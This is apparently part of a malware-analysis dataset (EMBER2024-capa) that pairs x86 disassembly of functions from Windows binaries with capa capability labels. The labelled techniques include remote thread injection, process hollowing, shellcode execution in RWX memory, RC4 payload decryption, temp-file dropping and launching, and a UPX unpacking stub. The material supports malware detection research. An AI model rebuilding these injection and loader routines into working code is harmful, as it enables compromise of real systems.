joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002131
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0xf0000000
xor edi, edi
lea eax, [ebp - 0xc]
push 1
push edi
push edi
push eax
mov dword [ebp - 8], edi
mov esi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100021c1
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x8004
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100021c1
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100021c1
lea eax, [ebp - 8]
push eax
push 0x280011
push dword [ebp - 4]
push 0x6801
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x100021c1
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push edi
push 1
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
cmovne esi, dword [ebp + 0xc]
cmp dword [ebp - 4], edi
je 0x100021d2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov dword [ebp - 4], edi
cmp dword [ebp - 8], edi
je 0x100021e3
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov dword [ebp - 8], edi
cmp dword [ebp - 0xc], edi
je 0x100021f2
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x10002266
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1108
call fcn.100011e9
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
je 0x100022cc
mov edi, dword [ebp - 4]
xor esi, esi
shr edi, 2
test edi, edi
je 0x100022cc
lea eax, [ebp - 0x108]
push eax
push dword [ebp + esi*4 - 0x1108]
call fcn.100022dc
pop ecx
pop ecx
test eax, eax
je 0x100022c7
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100022d3
inc esi
cmp esi, edi
jb 0x1000229a
or eax, 0xffffffff
pop edi
pop esi
leave
ret
mov eax, dword [ebp + esi*4 - 0x1108]
jmp 0x100022cf
Function at 0x100022dc
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
push dword [ebp + 8]
xor esi, esi
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1000234f
push 0x104
lea eax, [ebp - 0x104]
push eax
push edi
call sub.KERNEL32.dll_K32GetProcessImageFileNameA
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1000234f
mov edx, esi
lea eax, [ebp - 0x103]
add eax, edx
mov cl, byte [eax - 1]
cmp cl, 0x5c
cmovne eax, esi
mov esi, eax
test cl, cl
je 0x1000233c
inc edx
cmp edx, ebx
jb 0x10002320
test esi, esi
je 0x1000234f
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpy]
xor eax, eax
inc eax
jmp 0x10002351
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000246d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx + 0x3c]
xor esi, esi
add eax, ecx
push 0x40
push 0x3000
mov dword [ebp - 8], eax
mov ebx, dword [eax + 0x34]
mov eax, dword [eax + 0x50]
push eax
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x100024b9
push 0x40
push 0x3000
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov ebx, edi
test edi, edi
je 0x100024fe
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10002994
add esp, 0x10
cmp eax, 1
jne 0x100024f1
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x100024d7
mov dword [eax], ebx
mov ecx, dword [ebp + 0x14]
test ecx, ecx
je 0x100024e8
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
add eax, ebx
mov dword [ecx], eax
xor esi, esi
inc esi
test edi, edi
je 0x100024fe
jmp 0x100024fe
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10002505
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
xor esi, esi
add ecx, eax
push 0x40
push 0x3000
mov dword [ebp - 8], ecx
mov ebx, dword [ecx + 0x50]
mov eax, dword [ecx + 0x34]
push ebx
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x1000255a
push 0x40
push 0x3000
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x100025d4
push ebx
call fcn.100011a4
mov ebx, eax
pop ecx
test ebx, ebx
je 0x100025c3
push dword [ebp - 4]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.10002994
add esp, 0x10
test eax, eax
je 0x100025b2
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 4]
test eax, eax
je 0x10002589
mov dword [eax], ecx
mov edx, dword [ebp + 0x18]
test edx, edx
je 0x1000259a
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
add eax, ecx
mov dword [edx], eax
push 0
push dword [ebp - 0xc]
push ebx
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ecx, ecx
inc ecx
test eax, eax
cmovne esi, ecx
push ebx
call fcn.100011cf
mov eax, esi
pop ecx
test edi, edi
je 0x100025d4
test eax, eax
jne 0x100025d4
push 0x8000
push 0
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x100025db
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push 0x24
push 0
push eax
call fcn.10001239
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1000262e
push str.GetNativeSystemInfo
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002618
lea ecx, [ebp - 0x24]
push ecx
call eax
jmp 0x10002622
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x24], 9
jne 0x1000262e
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x10002756
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x40
xor esi, esi
mov dword [ebp - 0x54], 0x44
lea eax, [ebp - 0x50]
push esi
push eax
call fcn.10001239
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100027a4
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x100027a7
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push 0x2c8
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x2cc], 0x10002
push 0
push eax
call fcn.10001239
add esp, 0xc
lea eax, [ebp - 0x2cc]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000282e
push 0
push 4
lea eax, [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x228]
add eax, 8
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000282e
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000282e
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x10002832
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push dword [ebp + 8]
call fcn.10001ffd
pop ecx
test eax, eax
je 0x100028a8
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000246d
xor esi, esi
add esp, 0x10
inc esi
cmp eax, esi
jne 0x100028a8
push dword [ebp - 4]
call fcn.100026b7
pop ecx
cmp dword [ebp + 0x10], esi
jne 0x10002891
xor eax, eax
push eax
push eax
push dword [ebp - 4]
push 0x1000296c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100028a4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100028a4
cmp dword [ebp + 0x14], esi
jne 0x100028a1
push 0
push esi
push dword [ebp - 4]
call dword [ebp - 8]
jmp 0x100028a4
call dword [ebp - 8]
mov eax, esi
jmp 0x100028aa
xor eax, eax
pop esi
leave
ret
Function at 0x100028ad
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x10], 0
push esi
push edi
je 0x10002923
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 0x10]
push eax
call fcn.100020aa
pop ecx
pop ecx
test eax, eax
je 0x10002966
push 0x40
push 0x3000
push dword [ebp + 0xc]
xor esi, esi
push esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10002966
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10002966
lea eax, [ebp - 4]
push eax
push esi
push esi
push edi
push esi
push esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10002966
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x10002968
push 0x40
push 0x3000
push dword [ebp + 0xc]
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10002966
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call fcn.10001214
add esp, 0xc
cmp dword [ebp + 0x14], esi
je 0x10002962
push esi
push esi
push edi
push 0x10002988
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10002913
call edi
jmp 0x1000291e
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x10002a0c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
push esi
push edi
je 0x10002a5c
cmp dword [ebp + 0x10], 0
je 0x10002a5c
xor edi, edi
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002a5c
push edi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x10002a5e
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x10002a62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
lea eax, [ebp - 0x208]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push eax
push 0
push 0x10003288
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push dword [ebp + 0xc]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.10002a0c
add esp, 0xc
cmp eax, 1
jne 0x10002af5
mov eax, dword [esi + 0x3c]
mov ecx, 0x2000
test word [eax + esi + 0x16], cx
lea eax, [ebp - 0x104]
push eax
je 0x10002aed
lea eax, [ebp - 0x30c]
push str.Rundll32.exe__s__start
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x30c]
push eax
call fcn.10002756
add esp, 0x10
jmp 0x10002af7
call fcn.10002756
pop ecx
jmp 0x10002af7
xor eax, eax
pop esi
leave
ret
Function at 0x402ad0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x407010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402b68
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402b48
xor eax, eax
push ebp
push 0x402b41
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402b84
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402b48
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x407010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x407010], ax
mov esp, ebp
pop ebp
ret

Function at 0x4031d0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x408034], 0
je 0x403231
cmp word [0x408208], 0xd7b2
jne 0x4031f9
cmp dword [0x408210], 0
jbe 0x4031f9
mov eax, 0x408204
call dword [0x408220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x407058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403258
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40701c], 0
jne 0x40324d
push 0
push 0x407050
push 0x407058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4038cc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403932
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403478
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402964
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40391c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403939
lea eax, [ebp - 0x10]
call fcn.00403354
ret

Function at 0x404620
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
add eax, 0xfffffff8
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14]
push eax
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
call fcn.00403550
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
sete byte [ebp - 1]
mov al, byte [ebp - 1]
pop ecx
pop ebp
ret
Function at 0x404660
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
call fcn.00403354
cmp dword [ebp - 0xc], 0
je 0x404706
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0x14], eax
push ebp
call fcn.00404620
pop ecx
test al, al
je 0x404706
cmp dword [ebp - 4], 1
je 0x4046a2
cmp dword [ebp - 4], 2
jne 0x404706
mov eax, dword [ebp - 8]
call fcn.004027b8
mov dword [ebp - 0x14], eax
push ebp
call fcn.00404620
pop ecx
test al, al
je 0x4046fe
cmp dword [ebp - 4], 2
jne 0x4046f3
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.004035a8
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.00403550
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
jmp 0x4046fe
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.00403448
mov eax, dword [ebp - 0x14]
call fcn.004027e8
mov esp, ebp
pop ebp
ret

Function at 0x405b94
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff68
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0x88], 2
jne 0x405bde
mov byte [ebp - 1], 4
cmp dword [ebp - 0x94], 5
jb 0x405c10
cmp dword [ebp - 0x90], 1
jb 0x405bd8
mov byte [ebp - 1], 6
jmp 0x405c10
mov byte [ebp - 1], 5
jmp 0x405c10
cmp dword [ebp - 0x88], 1
jne 0x405c0c
mov byte [ebp - 1], 1
cmp dword [ebp - 0x94], 4
ja 0x405c06
cmp dword [ebp - 0x94], 4
jne 0x405c10
cmp dword [ebp - 0x90], 0xa
jb 0x405c10
mov byte [ebp - 1], 2
jmp 0x405c10
mov byte [ebp - 1], 0
cmp dword [ebp - 0x88], 1
jne 0x405c26
cmp dword [ebp - 0x90], 0x5a
jb 0x405c26
mov byte [ebp - 1], 3
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x4063bc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x406455
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00405b94
cmp al, 4
je 0x4063f0
call fcn.00405b94
cmp al, 6
je 0x4063f0
call fcn.00405b94
cmp al, 5
jne 0x40643f
mov edx, 0x406468
mov eax, 0x80000002
call fcn.004045e4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x406436
push 0
push 0
push 0x406498
lea ecx, [ebp - 8]
mov edx, 0x4064ac
mov eax, dword [ebp - 4]
call fcn.00404660
mov eax, dword [ebp - 8]
call fcn.00403550
push eax
push 0x4064b8
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40645c
lea eax, [ebp - 8]
call fcn.00403354
ret
Function at 0x4064c0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
push 0x4062ec
call sub.user32.dll_EnumWindows
call fcn.004063bc
mov eax, dword [0x4086b0]
mov eax, dword [eax + 0x18]
call fcn.00405c64
pop ecx
pop ecx
pop ebp
ret

Function at 0x412130
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x412152
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x412159
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x412148
mov eax, 1
add ebx, ebx
jne 0x41216b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x412160
jne 0x41217c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x412160
xor ecx, ecx
sub eax, 3
jb 0x412190
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x412202
mov ebp, eax
add ebx, ebx
jne 0x41219b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4121a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4121cc
inc ecx
add ebx, ebx
jne 0x4121b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4121ad
jne 0x4121c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4121ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4121ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4121dd
jmp 0x41214e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4121ec
add edi, ecx
jmp 0x41214e
pop esi
mov edi, esi
mov ecx, 0xee
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41220a
cmp byte [edi], 1
jne 0x41220a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41220f
lea edi, [esi + 0x10000]
mov eax, dword [edi]
or eax, eax
je 0x41227e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12130]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x121fc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41223c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12204]
or eax, eax
je 0x412278
mov dword [ebx], eax
add ebx, 4
jmp 0x412259
call dword [esi + 0x12200]
mov ebp, dword [esi + 0x12208]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x247]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4122b2
sub esp, 0xffffff80
jmp 0x406ced
Function at 0x4044d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 4
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
cmp ecx, 1
jne 0x4045a5
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40466a
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push str.crypted
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404665
mov ecx, 0x435bd4
lea eax, [ebp - 4]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404559
test dx, dx
je 0x404555
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404559
add eax, 4
add ecx, 4
test dx, dx
jne 0x404533
xor eax, eax
jmp 0x40455e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x404568
xor eax, eax
mov esp, ebp
pop ebp
ret
mov ecx, 0x435cb4
lea eax, [ebp - 4]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404646
test dx, dx
je 0x404642
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404646
add eax, 4
add ecx, 4
test dx, dx
jne 0x404570
xor eax, eax
jmp 0x40464b
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40466a
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x435cb8
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404665
mov ecx, 0x435bd4
lea eax, [ebp - 4]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404606
test dx, dx
je 0x404602
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404606
add eax, 4
add ecx, 4
test dx, dx
jne 0x4045e0
xor eax, eax
jmp 0x40460b
sbb eax, eax
or eax, 1
test eax, eax
je 0x404562
mov ecx, 0x435cb4
lea eax, [ebp - 4]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404646
test dx, dx
je 0x404642
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404646
add eax, 4
add ecx, 4
test dx, dx
jne 0x404620
xor eax, eax
jmp 0x40464b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x404658
mov eax, 1
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
mov eax, 2
mov esp, ebp
pop ebp
ret